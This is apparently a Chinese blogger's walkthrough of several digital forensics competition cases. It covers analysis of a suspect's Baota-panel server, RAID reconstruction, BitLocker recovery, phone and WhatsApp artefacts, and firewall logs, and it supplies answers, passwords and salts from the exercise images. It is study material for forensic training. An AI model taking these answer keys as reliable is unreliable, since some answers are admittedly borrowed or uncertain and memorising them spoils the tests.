通过对检材二的分析,警方进一步掌握并落地到了目标服务器地址,通过对服务器进行证据固定,得到服务器镜像--检材三,请使用第21题答案对检材三进行解密并分析,回答下列问题

1.检材三的原始硬盘的SHA256值为

解压密码为检材2中第十题答案加上盐值:

192.168.110.113-CAB2021

这次检材给出了 web1.E01web2.E01web3.E01三个磁盘镜像,分别对应攻击者的三个IP的服务器:192.168.110.111192.168.110.112192.168.110.113

仿真大师分析将三者合一了……:

image-20250313111634119

由上个检材最后一题分析受害者的通讯录被窃取之后,经由该服务器转发到了IP为192.168.110.113

说明web3的这个镜像才是关键的,因此计算其SHA-256值

image-20250313124554035

答案:205C1120874CE0E24ABFB3BB1525ACF330E05111E4AD1D323F3DEE59265306BF

2.请分析检材2第10题中,所指的服务器的开机密码为:

这里需要后面的辅助,因为重置密码是直接重置,不会显示原来的密码(Windows会显示原来的。所以我们后面可以通过嫌疑人的PC端的Xshell中看到连接记录,从中可以看到密码

image-20211030152008259

分析检材四中攻击者的PC时找到其登录记录(我也想用火眼取证做题😭)

猜测密码思路:

网站域名

答案:honglian7001

3.嫌疑人架设网站使用了宝塔面板,请问面板的登陆用户名为

仅仿真web3.E01登录后使用命令bt打开宝塔面板:

image-20250313120158180

这仿真的虚拟机不支持中文,使用shell工具连接其IP:

image-20250313123900157

image-20250313124150376

连接成功:

image-20250313124310066

可见面板的登录用户名为:hl123

答案:hl123

4.请分析用于重置宝塔面板密码的函数名为

本题要稍微熟悉一点宝塔以及宝塔的一些文件结构:

这些都在/www/server/panel/tools.py这个py文件中

image-20250313124850819

答案:set_panel_pwd

5.请分析宝塔面板登陆密码的加密方式所使用的哈希算法为

由上题分析可知加密方式的哈希算法为md5

答案:md5

6.请分析宝塔面板对于其默认用户的密码一共执行了几次上题中的哈希算法

在设置面板密码中出现一次md5,剩下的并不在tools.py文件中

而是在public文件中,在文件目录/www/server/panel/class/public.py

经过搜索public.py文件中又使用了两次md5加密,所以答案为3

image-20250313125342236

7.请分析当前宝塔面板密码加密过程中所使用的salt值为【区分大小写】

该值在这个位置看,default.db文件:/www/server/panel/data

image-20250313125520101

image-20250313125749253

答案:v87ilhAVumZL

8.请分析该服务器,网站源代码所在的绝对路径为【标准格式/xxx/xxx/xxx】

根据给出的内网面板地址登录宝塔面板,因为给出的密码是错误的所以需要更改密码:

image-20250313131319552

image-20250313131333227

image-20250313131353579

找到网站源代码根目录为/www/wwwroot/www.honglian7001

第二个方法:

使用history命令查看,发现有/www/wwwroot/www.honglian7001/app

image-20241021184949336

答案:/www/wwwroot/www.honglian7001

9.请分析,网站所使用的数据库位于IP为()的服务器上(请使用该IP解压检材5,并重构网站)【标准格式:111.111.111.111】

在该目录的数据库配置文件下能看到数据库位于哪个ip的服务器上/www/wwwroot/www.honglian7001/app/databae.php

image-20250313133351770

答案:192.168.110.115

10.请分析,数据库的登陆密码为【区分大小写】

由上题分析可以看到password值为wxrM5GtNXk5k5EPX

答案:wxrM5GtNXk5k5EPX

11.请尝试重构该网站,并指出,该网站的后台管理界面的入口为【标准格式:/web】

后台登录的路口都在admin中,所以答案为/admin

image-20250313134333108

答案:/admin

12.已该涉案网站代码中对登录用户的密码做了加密处理。请找出加密算法中的salt值【区分大小写】

由上题分析/www/wwwroot/www.honglian7001/app/admin/common.php中的内容可知,password_code即为密码加入的salt值

答案:lshi4AsSUrUOwWV

13.请分析该网站的管理员用户的密码为

管理员密码在网站日志/www.honglian7001/runtime/log/202104/24.log中可以找到:

image-20250313135235457

答案:security

14.在对后台账号的密码加密处理过程中,后台一共计算几次哈希值

由11的分析可知password()函数经过三次哈希值计算

答案:3

15.请统计,后台中,一共有多少条设备记录

开始重构网站,重构文件在检材5中……

检材5密码由9可知解压密码为192.168.110.115-CAB2021

其中内容为数据库服务器的磁盘镜像,三个.dd文件直接挂载或取证分析都是未分配簇

当三个 .dd 文件直接挂载或取证分析均显示为未分配簇时,说明这些镜像单独存在时无法构成完整的逻辑文件系统。

RAID(Redundant Array of Independent Disks)通过将多块物理磁盘组合成一个逻辑单元,提供数据冗余、性能提升或容量扩展。

RAID重组 通常在以下场景中执行:

  1. 磁盘故障:RAID中某块磁盘损坏,需要替换并重建数据。
  2. 配置丢失:RAID控制器故障或配置信息丢失,需手动重建逻辑卷。
  3. 数据恢复:从离线或损坏的磁盘中提取数据时,需重组RAID结构。

核心操作步骤

  • 确定RAID级别(如RAID 0、1、5、6、10等)。
  • 分析磁盘顺序(确定成员盘的排列顺序)。
  • 计算参数(如条带大小、校验算法、数据分布规则)。
  • 重组逻辑卷(通过软件或硬件恢复原始数据布局)。

这里使用R-STUDIO工具进行RAID重组自动检测:

image-20250314012108313

导入.dd文件:

image-20250314013713073

点击自动检测:

image-20250314013744815

创建镜像->逐字节检测生成虚拟块.dsk文件

image-20250314013846922

再进行仿真,重构出服务器服务器

按理说应该这么做,但仿真大师(试用版)不知道抽什么风总是仿真失败,用仿真大师自带的自动计算磁盘阵列的功能也是仿真失败……

直接上别人的答案……

此时访问http://192.168.110.113/admin即可加载出罪犯接收隐私服务器:

img

img

答案:6002

16.请通过后台确认,本案中受害者的手机号码为

这里要注意时区 检材二也就是负载均衡服务器是utc时区,检材二中第九题的日志记录情况 在2021.4.24 6:37(utc时间)左右上传了通讯录 其对应的utc+8时间应为 当日14:37左右手机型号也能对上 由此可以得到受害者手机号码

img

17.请分析,本案中受害者的通讯录一共有多少条记录

img

检材4

通过对检材二和三进行分析,警方通过IP落地,警方掌成功抓获犯罪嫌疑人,现将嫌疑人的PC机和手机进行了取证,分别制作了镜像,请使用第13题的答案对检材四进行解密,并回答下列问题

(应当优先分析这个来得到检材3的答案)

1.请计算检材四-PC的原始硬盘的SHA256值

检材4密码由检材2中的2可知为192.168.110.203-CAB2021

使用取证大师进行计算:

image-20250314112217706

2.请分析,检材四-PC的Bitlocker加密分区的解密密钥为

罪犯的D盘经Bitlocker加密,但是在取证大师的取证分析中得出了Bitlocker恢复密钥检索:

image-20250314112118715

3.请分析,检材四-PC的开机密码为

image-20250314112142271

image-20250314112327693

解密D盘后再次进行取证分析:

image-20250314113221632

搜索NT密码哈希值:

image-20250314113326056

答案:12306

4.经分析发现,检材四-PC是嫌疑人用于管理服务器的设备,其主要通过哪个浏览器控制网站后台

image-20250314113447638

答案:chrome

5.请计算PC检材中用户目录下的zip文件的sha256值

image-20250314114119242

image-20250314114241686

6.请分析检材四-phone,该手机的IMEI号为

IMEI(International Mobile Equipment Identity,国际移动设备识别码)是用于唯一标识一部移动设备的15位数字代码。它是全球通用的设备身份标识符,类似于手机的“身份证号码”,在手机的整个生命周期中保持唯一性。

使用美亚柏科手机大师(试用版):

image-20250314114806194

然后就寄了,因为火眼取证得到的IMEI不同:

img

7.请分析检材四-phone,嫌疑人和本案受害者是通过什么软件开始接触的【标准格式:支付宝 】

手机大师分析不出来……

image-20250314115030441

还得看别人用火眼取证:

img

8.请分析检材四-phone,受害者下载恶意APK安装包的地址为

翻聊天记录

image-20211030152833632

9.请分析检材四-phone,受害者的微信内部ID号为

手机大师做得到!

罪犯信息:

image-20250314115246328

与受害者的聊天记录:

image-20250314121833848

答案:wxid_op8i06j0aano22

10.请分析检材四-phone,嫌疑人用于敲诈本案受害者的QQ账号为

image-20250314122423475

答案:1649840939

11.请综合分析,嫌疑人用于管理敲诈对象的容器文件的SHA256值为

导出我赚钱的工具.zip文件并解压(解压密码12306,与加密磁盘密码是同样的),里面是虚拟机镜像文件:

image-20250314123232716

取证大师挂载后计算其hash值:

image-20250314130026145

但是不对……

那就挂载虚拟机,继续分析嫌疑人的赚钱容器。但是要密码,该怎么办?

密码绕过思路一:取证大师分析密码hash值

image-20250314124824971

image-20250314124906228

密码绕过思路二:仿真大师仿真绕过密码

image-20250314125000833

绕过成功后直接空密码登录

在快速访问中找到小白鼠.txt,但是文件太大打不开,推测并不是txt文件

image-20250314130434412

导出该文件进行分析,是VeraCrypt的加密磁盘镜像……可以推测其内容为嫌疑人用于管理敲诈对象的容器文件

因此计算小白鼠.txt的hash值即可

image-20250314131013834

image-20250314131533053

12.请综合分析嫌疑人检材,另外一受害者“郭先生”的手机号码为

使用VeraCrypt挂载要密码,使用发现的key.rar作为密钥文件成功挂载:

image-20250314133002219

得出了郭先生的电话号码:

image-20250314133017133

13.通过嫌疑人检材,其中记录了几位受害者的信息

由上一题分析可以看出记录了5位受害者

14.请使用第11题的密码解压“金先生转账.zip”文件,并对压缩包中的文件计算SHA256值

解压并计算:

image-20250314133318575

(要小写)

15.请综合分析,受害者一共被嫌疑人敲诈了多少钱(转账截图被隐藏在多个地方)

支付宝提醒助手里面

image-20250314133750035

伊对 (手机大师分析不出的)金先生聊天记录里面

img

微信聊天记录里面

image-20250314133840309

虚拟机压缩包里面

img

数据库里面,找到我的账单 右键保存数据为1.jpg

img

2022暑假取证学习

有嫌疑人在使用Windows系统,取证人员对该系统进行了硬盘镜像。通过自己的工具软件对档案袋中的镜像文件进行提取、分析、逆向、恢复、破解、查找等,在线完成填空、简答。
比赛材料记录 比赛的计算机镜像资料镜像名为“windows7disk.E01”

参考文章:DIDCTF-2022暑假取证学习 - WTT0011 - 博客园

1.请找出操作系统主机名

使用取证大师进行分析:

image-20250315104759459

2.请给出源磁盘的SHA256哈希值

使用取证大师进行计算:

image-20250315105454180

3.请找出操作系统中安装的Android模拟器名称和安装日期。格式:模拟器名时间,例子:雷电模拟器2022年06月23日

取证大师分析:

image-20250315105653340

答案:夜神模拟器2021年05月03日

4.请找出使用Bitlocker加密的虚拟磁盘文件。格式:1.txt/2.txt

寻找该靶机的虚拟磁盘文件:

image-20250315111825472

image-20250315111910484

可以推测加密磁盘镜像文件TMP00000008578720C0A2D5E4D8经挂载后成了my.vhd

答案:my.vhd/my1.vhd

5.请找出操作系统安装日期。格式:2022-01-04 12:47:43

由1中取证大师的分析中就有系统安装时间

image-20250315112417067

6.请找出操作系统最后登录的用户

image-20250315112554796

7.请找出操作系统中安装的浏览器最后浏览过的网站域名 [格式: www.baidu.com]

image-20250315112734301

8.请找出操作系统中安装的浏览器名称的对应的安装日期。

本题仅一次答题机会

360浏览器2021-05-03 20:16:43

Edge浏览器2021-05-03 20:26:44

谷歌浏览器2021-05-03 20:16:44

搜狗极速浏览器2021-06-03 20:16:44

主要是靶机上只能找到谷歌浏览器……

image-20250315114000978

9.请找出操作系统版本号

image-20250315114334387

10.请找出操作系统设置的时区名称。

本题仅一次答题机会

UTC+8
UTC+4
UTC+2
UTC+6

image-20250315114846861

跳转到源文件,对SYSTEM文件进行注册表解析,发现有两套时区信息配置(ControlSet001\Control\TimeZoneInformationControlSet002\Control\TimeZoneInformation):

image-20250315115425330

image-20250315120244755

第二套时区配置取证大师没有自动取证出来

总之使用的是China Standard Time中国标准时间

image-20250315120407163

Windows 通过多个 ControlSet 确保系统在更新或配置错误时能够回退到稳定状态。


ControlSet001 和 ControlSet002 的区别

ControlSet 用途 典型场景
ControlSet001 系统当前使用的配置(可能对应 CurrentControlSet)。 正常启动时使用的配置。
ControlSet002 上一次成功启动的配置(即 LastKnownGood 配置)。 当系统检测到当前配置启动失败后,自动回退到此配置。
其他编号 系统可能保留更多历史版本(如 ControlSet003),但通常仅保留两个副本。 多次系统更新或配置变更后可能生成。

11.请找出操作系统中安装的浏览器“自动填充”中保存的网站密码信息(网站、用户名、密码)格式:网站+用户名+密码,例子:https://blog.didctf.com/+admin+admin111

查看浏览器记住的用户密码:

image-20250315120832068

没有密码,跳转到源文件(数据库文件)进行分析:

image-20250315121207890

然而密码是加密的,因此使用仿真软件进行仿真模拟后分析:

image-20250315134203037

image-20250315134223529

image-20250315134254554

复制即可得到密码

补充:某取证工具具有自动解码功能

img

答案:https://www.baidu.com/+test+test@test2021.com

12.请找出用户“poiuy”的SID

在 Windows 系统中,每个用户和组都有一个唯一的 SID(Security Identifier,安全标识符)。SID 是系统内部用于识别安全主体的核心标识符,用于权限管理、资源访问控制等场景。

image-20250315134604522

13.请给出源磁盘的大小(字节)

看别人的WP这个题目问题好像应该是:请给出源磁盘结束扇区位置

取证大师分析的不够准确,我们进行挂载分析:

image-20250315140828958

image-20250315140848573

挂载后发现磁盘大小为:32210153472,但不是正确答案

因此开始计算:

首先计算起始扇区的位置

物理位置/每个扇区字节数=磁盘起始位置1048576/512=2048(扇区号从 0 开始计数时为 2048)

扇区数+磁盘起始位置=结束扇区62910464+2048=62912512

补充:使用某取证工具可以直接分析出来

img

如果扇区编号从 0 开始,那么磁盘的总扇区数实际上是 62912511 + 1 = 62912512

14.请找出各分区文件系统类型

由挂载的磁盘来看文件系统为NTFS

15.请找出曾经连接到该系统的U盘的品牌、序列号、最后插拔日期。格式:SAMSUNG+FAWC524213104FAWV146+2022-07-14

image-20250315143132871

image-20250315143456665

SanDisk+4C530001310423109141+2021-05-04 14:36:21

16.请找出回收站中的文件的名称。格式:2333.exe+1.txt+3.E01。注意顺序

image-20250315143557220

nox_setup_v7.0.0.6_full.exe+新建文本文档1.txt+测试.rtf

17.请找出使用Bitlocker加密的虚拟磁盘文件恢复密钥文件名是什么

image-20250315143713225

image-20250315143724922

18.请找出用户“poiuy”的登录密码。

由11的分析可知答案

2021美亚杯个人赛

2021年10月某日早上,本市一个名为“大路建设”的高速公路工地主管发现办公室的计算机被加密并无法开启,其后收到了勒索通知。考虑到高速公路的基建安全,主管决定报警。警方调查人员到达现场取证,发现办公室内有三部个人计算机,通过一个老款路由器接入互联网。 经调查相关电子证据后,警方怀疑一位本地男子–阿力士与本案有关,并将他拘捕。现在你被委派处理这起案件,请由以下资料分析阿力士在本案中的违法犯罪行为, 并还原事件经过。

资料

编号 详情
1 阿力士的背景资料
2 警方现场勘查的调查报告
3 高速公路工地办公室路由器的记录
4 工地主管办公室计算机的电子数据
5 工地主管移动电话的电子数据
6 阿力士计算机的电子数据
7 阿力士FTP 服务器的电子数据
8 阿力士移动电话(1)的电子数据
9 阿力士移动电话(2)的电子数据

挂载/解压密码: 压缩包解压密码:MeiyaCup2021 VC加密容器密码:

不是HfsCk]!pQC-H\5BAc^gBo/^qq)/i21ufiN@H"Y而是

HfsCk]<eUqc5Q{(DG$ugiGlt8ezGdaZ>!pQC-H\5BAc^gBo/^qq)/i21ufiN@H"Y

为什么?请看VCR:

image-20250317155728538

网站把<eUqc5Q{(DG$ugiGlt8ezGdaZ>当成标签解析了

参考文章:2021美亚杯资格赛WP2021美亚杯(个人赛)练习记录_2021年美亚杯个人赛-CSDN博客2021第七届美亚杯中国电子数据取证大赛详解write up_美亚杯 奇安信杯-CSDN博客2021年“美亚杯”全国电子取证比赛复盘

image-20250318150434848

1.(单选题) 工地主管电话的微信账号是什么?

仅一次答题机会

A. Kasier751111
B. Kasierlee751111
C. Kasierlee
D. 以上皆非

我们优先分析工地主管移动电话的电子数据,文件在\Individual\Meiya Cup 2021 (individual)\image\VTM\VTM_iphone6,这里美亚杯贴心地为我们准备了CellebriteReader用于分析题目给出的取证报告。

.ufdrCellebrite UFED(Universal Forensic Extraction Device)工具生成的取证数据报告文件(UFED Forensic Data Report)。Cellebrite 是一个广泛用于移动设备数据提取分析的取证工具,主要用于执法机构企业安全取证调查

.ucae 也是 Cellebrite 取证工具生成的文件,可能与 UFED Cloud Analyzer 相关。它通常用于存储从云端账户(如 Google、Facebook、iCloud) 提取的数据。

image-20250317161729468

Tool->setting中进行语言更改

分析账号,没有微信账号

image-20250317164259637

WhatsApp并不是Wechat

2.工地主管的隔空投送装置置编号是什么?(请以英文全大写及阿拉伯数字回答)

隔空投送(AirDrop)

隔空投送(AirDrop)Apple(苹果) 设备上的无线文件传输功能,允许用户在 iPhone、iPad 和 Mac 之间 快速、安全地共享文件、照片、视频、联系人等内容。

image-20250317164500176

3.(单选题) 工地主管电话的哪一个应用程序有关于经纬度24.490474, 118.110220的纪录?

仅一次答题机会

A. 照片
B. WhatsApp
C. Apple Maps
D. 以上皆非

image-20250317164731584

4.(多选题) 工地主管的手提电话中下列哪些数据正确?

仅两次答题机会

A. iOS 版本为 12.5.4
B. IMEI为 454120637213361
C. Apple ID 为 kaiserlee3660@gmail.com
D.手机曾经安装 dropbox 应用程序

image-20250317164933292

ABC都能在设备信息中找到答案,D难以确定,在安装的应用程序报告中没有找到就默认不选:

image-20250317165502548

5.(填空题) 工地主管的电话最常使用的浏览器是什么? (请以英文全大写回答)

image-20250317165654313

6.(单选题) 工地主管的电话连接过哪一个WiFi?

仅一次答题机会

A. Kaiser Lee
B. Kaiser
C. Free Wifi
D. Kaiser Home

image-20250317165811622

7.(多选题) 工地主管与Alex Chan的Whatsapp 对话中,曾提及以下哪个TeamViewer的用户号码?

A. 435334881
B. 453851521
C. 435475200
D. 456874155
E. 435270306

TeamViewer 是一款远程桌面控制、远程支持和在线会议软件,广泛用于远程协助、文件传输、设备管理和在线协作。它允许用户通过互联网远程访问和控制另一台计算机或设备。

在聊天中过滤Alex的记录

image-20250317170331753

在聊天图片中得到TeamViewer的用户号码:

image-20250317170659237

image-20250317170740762

找找就有

8.工地主管的WhatsApp中有多少个黑名单的记录? (请以阿拉伯数字回答)

联系人中找不到答案

image-20250317171523530

我们进入Whatsapp生成的相关数据库分析:

image-20250317171734362

得到的相关数据库有:

数据库文件 存储内容
BackedUpKeyValue.sqlite 可能用于存储 WhatsApp 配置、设置或加密密钥相关的数据。
Biz.sqlite 存储 WhatsApp Business(商业版)的相关信息,如企业账号信息、客户交互等。
CallHistory.sqlite 存储 WhatsApp 的通话记录,包括时间、通话类型(语音/视频)、通话对象等。
ChatStorage.sqlite WhatsApp 的核心数据库,存储聊天记录,包括文本消息、图片、视频、语音消息等。
ContactsV2.sqlite 存储 WhatsApp 联系人信息,包括联系人姓名、手机号、状态信息等。
emoji.sqlite 记录最近使用的表情符号及表情键盘相关设置。
Ranking.sqlite 可能用于存储联系人或聊天的使用频率排名,用于优化聊天界面的排序。
Sticker.sqlite 存储已下载的贴纸(Sticker)数据及使用情况。

唯一能找到与黑名单相关的数据表为(ZWABLACKLISTITEM):

image-20250317172218460

9.(多选题) 以下哪个蓝牙装置的 Uuid 曾连接过工地主管的手机?

A. 7F1FE70D-2B15-C245-853D-4196F13CC446
B. 1B057C1D-83D3-99A6-D2B1-EC54846C7CEE
C. 134ACD1-83D3-99A6-D2B1-EC54846C7CEE
D. 7D1BE70D-2C16-D246-851D-491613DD776

image-20250317172405958

分析报告中并没有直接给出蓝牙装置的UUID,因此直接对相关数据库进行分析:

image-20250317172539053

10.工地主管计算机的E盘的Bitlocker修复密钥标识符是甚么? (请以英文全大写及阿拉伯数字回答,不用输入”-“)

开始分析工地主管办公室计算机的电子数据,文件在\Individual\Meiya Cup 2021 (individual)\image\VTM\VTM_computer

(VTM-computer请使用补充检材)

使用取证大师取证搜索关键词:

image-20250317184044487

问的是Bitlocker修复密钥标识符,因此直接尝试Bitlocker解密也能看到:

image-20250317184345016

11.工地主管计算机內的FTP程序FileZilla的用户名称是甚么? (请以英文全大写及阿拉伯数字回答)

image-20250317184543964

12.工地主管的Team Viewer ID 是甚么? (请以英文全大写及阿拉伯数字回答)

取证大师自动分析出的是ALEX的Team Viewer ID

image-20250317184645764

再分析第七题,从聊天中寻找工地主管的Team Viewer ID

image-20250317185211225

13.工地主管的Team Viewer与哪一个ID连接? (请以英文全大写及阿拉伯数字回答)

由上题分析可知

14.(多选题) 工地主管曾用计算机浏览器作搜寻,以下哪一个关键词他曾经搜寻?

A. tiktok
B. web whatsapp
C. facebook
D. lihkg
E. hkgolden
F. web wechat

image-20250317185616340

15.工地主管计算机的Windows系统的产品标识符是甚么? (请以英文全大写及阿拉伯数字回答,不用输入”-“)

产品标识符即产品ID

image-20250317185844417

16.工地主管曾用计算机使用WhatsApp,他曾和以下哪个电话号码沟通?

85246761157
85255378389
1574344711
85267367922
1632900304
无通话记录

WhatsApp网页版电话号码会出现在URL中,看网上的WP这题目应该是ALEX曾和以下哪个电话号码沟通,因为只有ALEX计算机镜像检材中有相关的缓存记录

image-20250317193017951

但工地主管确实没有打过电话,我是小丑

17.(多选题) 工地主管计算机的用户名称是甚么? 其用户标识符是甚么?

A.用户名称: PC1
B.用户名称:PC2
C.用户名称: PC3
D.用户标识符:0x000003E7
E.用户标识符:0x000003E8
F.用户标识符:0x000003E9

image-20250317193408169

用户标识符(UID)由用户标识(SID)最后四位转换为十六进制:

image-20250317193617437

如果是填空题可就不好推测了,最好是从用户登录/注销日志里面去找:

image-20250317194635346

系统仿真也可以:

image-20250317194740175

18.(单选题) 工地主管计算机的预设浏览器是甚么?

A.Chrome
B.Firefox
C.Safari
D.以上皆否

进行虚拟机仿真建立html文件来判断

image-20250317194850243

19.工地主管计算机的其中一个分区被人加密,分区内的电子表格Material3.xlsx的哈希值(SHA1)是甚么? (请以英文全大写及阿拉伯数字回答)

工地主管计算机被勒索了,因此恢复密钥在阿力士(Alex)的 FTP 服务器的电子数据中:

image-20250317210712144

成功解密工地主管的磁盘,计算其中电子表格的哈希值:

image-20250317211536915

20.(多选题) 路由器的记录中显示以下有哪些IP是公司的电子器材?

A.192.168.40.128
B.192.168.40.129
C.192.168.40.130
D.192.168.40.131
E.192.168.40.132

分析检材:高速公路工地办公室路由器的记录,路径\Individual\Meiya Cup 2021 (individual)\image\VTM\Router Log

这是 Cisco ASA(Adaptive Security Appliance)防火墙 生成的日志,主要涉及访问控制列表(ACL)、动态过滤、ICMP/TCP/UDP 连接建立和拒绝等安全事件。

使用数据-分列-分隔符号-空格,将数据分开。对IP地址列进行排序

image-20250317213741233

或者搜索IP分析事件:

A.192.168.40.128

Oct 18 2021 08:41:16: %ASA-6-302015: Built inbound UDP connection 732749 for outside:192.168.40.128
/49804 (192.168.40.128
/49804) to inside:110.166.0.15/123 (110.166.0.15/123)
  • 时间: 2021-10-18 08:41:16
  • 日志级别: %ASA-6(信息级)
  • 事件代码: 302015(UDP 连接建立)
  • 连接 ID: 732749
  • 来源 IP: 192.168.40.128
  • 来源端口: 49804
  • 目标 IP: 110.166.0.15
  • 目标端口: 123(NTP)
  • 协议: UDP
  • 方向: outside -> inside
情况 解释
正常 NTP 请求 192.168.40.128 可能是一个客户端,尝试向 110.166.0.15 请求时间同步。
NTP 服务器响应 如果 192.168.40.128 是 NTP 服务器,它可能正在处理 110.166.0.15 发送的 NTP 请求。
NTP 放大攻击 192.168.40.128 可能是恶意来源,试图利用 NTP 服务器进行 DDoS 放大攻击(反射攻击)。
内部设备异常 110.166.0.15 可能被配置为 NTP 服务器,但未正确限制访问,导致外部设备可以向其发送请求。

B.192.168.40.129

Oct 18 2021 08:41:14: %ASA-6-106015: Deny TCP (no connection) from 192.168.40.129
/49827 to 110.192.0.11/80 flags ACK on interface outside

时间: 2021-10-18 08:41:14

日志等级: %ASA-6(信息级)

事件代码: 106015(TCP 连接被拒绝)

来源 IP: 192.168.40.129

来源端口: 49827

目标 IP: 110.192.0.11

目标端口: 80(HTTP)

TCP 标志位: ACK

接口: outside(外部网络接口)

可能情况 解释
连接已超时 可能 192.168.40.129 之前建立的 HTTP 连接超时,但该设备仍在发送 ACK。防火墙检测不到原始连接,因而拒绝该数据包。
NAT/会话表丢失 如果 192.168.40.129 经过 NAT,但 NAT 设备未正确维护会话表(例如 NAT 超时或重启),则 ACK 数据包无法匹配现有会话。
非正常 TCP 连接 可能 192.168.40.129 发送的 ACK 不符合 TCP 正常会话(如网络抖动导致的丢包或不完整会话)。
主动扫描 可能 192.168.40.129 运行了端口扫描工具(如 Nmap),尝试使用 TCP ACK 扫描 检测 110.192.0.11 的防火墙策略。
欺骗攻击 如果 192.168.40.129 被入侵,可能被用来发送伪造的 TCP ACK 数据包,尝试绕过防火墙。

C.192.168.40.130

Oct 18 2021 08:41:02: %ASA-4-400014: IDS:2004 ICMP echo request from 192.168.40.130
 to 110.16.0.14 on interface outside

时间: 2021-10-18 08:41:02

日志等级: %ASA-4(警告级别)

模块: IDS:2004(入侵检测系统)

协议: ICMP echo request(Ping 请求)

来源 IP: 192.168.40.130

目标 IP: 110.16.0.14

接口: outside(外网接口)

可能情况 解释
正常探测 可能是系统管理员进行网络连通性测试(如 ping 110.16.0.14)。
网络扫描 可能是 192.168.40.130 在执行存活性扫描 (Ping Sweep),检测哪些 IP 可用。
恶意行为 如果 110.16.0.14 是一个外部服务器,这可能是试图探测外部资产,或者是恶意软件在试图连接外部服务器。
误报 某些情况下,IDS 可能会将合法流量误判为可疑流量。

D.192.168.40.131

Oct 18 2021 08:50:24: %ASA-6-302015: Built inbound UDP connection 732748 for outside:192.168.40.131
/49804 (192.168.40.131
/49804) to inside:91.195.130.23/53 (91.195.130.23/53)

同A

E.192.168.40.132

不存在……

21.路由器的记录中显示公司的计算机下载了FTP软件,该下载网站的IP是什麼?(请以亚拉伯数字作答,省去"."符号)

访问网页下载使用HTTPS服务端口号443,以/443 为关键词查找,可得IP

image-20250317220220916

找到下载网站的IP

为49.12.121.47

22.(多选题) 路由器的记录中显示公司计算机的资料用FTP软件传到了甚么IP地址及利用端口?

A. IP地址: 2*.2*.2*.114
B. IP地址: 8*.8*.1*.20
C. IP地址: 1*.1*.0*.13
D. 端口: 21
E. 端口: 80

FTP服务使用端口号21,以/21 为关键词查找,可得IP

image-20250317221003989

23.(多选题) 路由器的记录中显示以下哪些关键词是表示公司计算机与外界网络联机?

A. destination
B. ICMP echo request
C. inside
D. outside
E. 以上皆是

搜索关键词,A存在公司计算机与外界网络进行TCP连接,实现联机

image-20250317221924338

B.ICMP(Internet Control Message Protocol)不会建立两个计算机之间的连接。

C.内部

D.外部

E.多选题想啥呢

协议 是否建立连接 主要用途
ICMP ❌ 无连接 诊断网络问题、发送错误报告(如 Ping)
TCP ✅ 需要三次握手 建立可靠的数据传输(如 HTTP、SSH)
UDP ❌ 无连接 传输实时数据(如视频流、DNS)

24.(单选题) 路由器的记录中显示哪一个IP曾以teamviewer 连接公司计算机?

A. 110.152.0.14
B. 52.152.117.114
C. 180.152.0.13
D. 83.26.80.131

image-20250317222525971

tearviewer使用5938端口,以/5938 为关键词查找,可得IP

image-20250317222231746

25.(多选题) 路由器的记录中显示以下哪一个有可能是以 teamviewer 遥控公司计算机的时间?

A.09:31,09:37
B.09:33,09:39
C.10:29,10:36
D.10:40
E.10:42

由上题分析可知

26.路由器的记录中显示有多少电子器材有可能曾被入侵?(请以阿拉伯数字作答)

由上上题分析可知

27.(单选题) 阿力士 iPhone12pro电话于2021年10月21日,以下哪张相片可能曾被分享(UTC+8)?

分析检材:阿力士移动电话(1)的电子数据,路径:\Individual\Meiya Cup 2021 (individual)\image\Alex\Alex iPHone 12 pro

寻找图片:

image-20250317223900460

如果聊天分享不发原图的话,EXIF元数据文件就没了,发现PreviewWellImage.tiffIMG_0011.HEIC一样,说明这张图片被分享后又被备份了一份:

屏幕截图 2025-03-17 223959

并且IMG_0011.HEICMetadata(元数据),记录了手机相机的信息。

PreviewWellImage.tiff没有

随着科技的发展、某些设备的更新迭代,大多数增加了隐私保护功能,比如:用户分享照片/视频时将删除元数据

28.[单选] 阿力士iPhone 12 pro电话中哪一张相片可能曾被修改拍摄时间?

A. IMG_0011.HEIC
B. IMG_0010.HEIC
C. IMG_0009.HEIC
D. IMG_0008.HEIC

由于分享图片创建的新图片元数据被删除,因此拍摄时间被修改

被分享后,图片某些时间会发生改变(一般改的是编辑时间不是创建时间),但是这道题目中,改的是创建时间(有可能是嫌疑人又自己保存了)。

29.[填空题] 阿力士iPhone 12 pro 的GSM媒体访问控制地址是什么? (请以英文全大写及阿拉伯数字回答,不用输入"😊

GSM(全球移动通信系统) 中,并不存在与以太网或 Wi-Fi 类似的 MAC 地址(Media Access Control Address)。传统意义上的 MAC 地址 指的是 IEEE 802 标准中的网络设备标识,而 GSM 网络的地址体系有所不同。

GSM 网络采用 不同的标识机制 来唯一标识设备,而不是使用 MAC 地址。常见的 GSM 设备标识包括:

标识名称 作用 示例
IMSI(International Mobile Subscriber Identity,国际移动用户识别码) 唯一标识用户的 SIM 卡,存储在 HLR/MSC 中 460011234567890
IMEI(International Mobile Equipment Identity,国际移动设备识别码) 唯一标识移动设备(手机/基站),存储在 EIR 359876041234567
TMSI(Temporary Mobile Subscriber Identity,临时移动用户识别码) 由网络分配的临时用户标识,防止追踪 0x4A3F2B1C
MSISDN(Mobile Station International Subscriber Directory Number,国际移动用户电话号码) 用户的电话号码 +8613812345678
LAC(Location Area Code,位置区码) 标识用户当前所在的 GSM 位置区 31001
CI(Cell Identity,小区标识) 标识用户所在的基站 15024

【小白也能看懂】GSM手机呼叫流程,含MSC,BSC,BTS,HLR,VLR,MSRN等

image-20250317225759949

30.[单选题] 阿力士的iphone 12 pro以什么屏幕密码保护?

A. 6位阿拉伯数字密码
B. 4位阿拉伯数字密码
C. 图形密码
D. 以上皆非

手工查找pslist文件,找到manifest.plist文件中的WasPasscode的值为false,表示没有设置密码锁。

  • manifest.plistiOS 备份文件(iTunes/iCloud 备份) 的核心元数据文件,位于备份目录的根目录下。
  • 作用:记录设备备份的全局信息,包括设备硬件信息、备份时间、是否加密等关键元数据。
字段名 说明
LastBackupDate 最后一次备份时间(UTC 时间戳)
ProductName 设备型号(如 "iPhone13,2" 对应 iPhone 12)
ProductVersion iOS 系统版本(如 "15.4.1")
IsEncrypted 备份是否加密(true/false
ICCID SIM 卡 ICCID 号码(若备份包含 SIM 信息)

路径Apple_A2341 MGLW3LL_A iPhone 12 Pro.zip/Backup Service/00008101-000254A10A21001E/Snapshot/Manifest.plist

image-20250317231324510

路径组件 含义
Apple_A2341 MGLW3LL_A iPhone 12 Pro.zip 备份压缩包,包含设备型号(iPhone 12 Pro,型号A2341)和序列号(MGLW3LL_A)
00008101-000254A10A21001E 设备的唯一标识符(UDID)或备份ID
Snapshot 备份快照目录,存储增量备份的差异数据

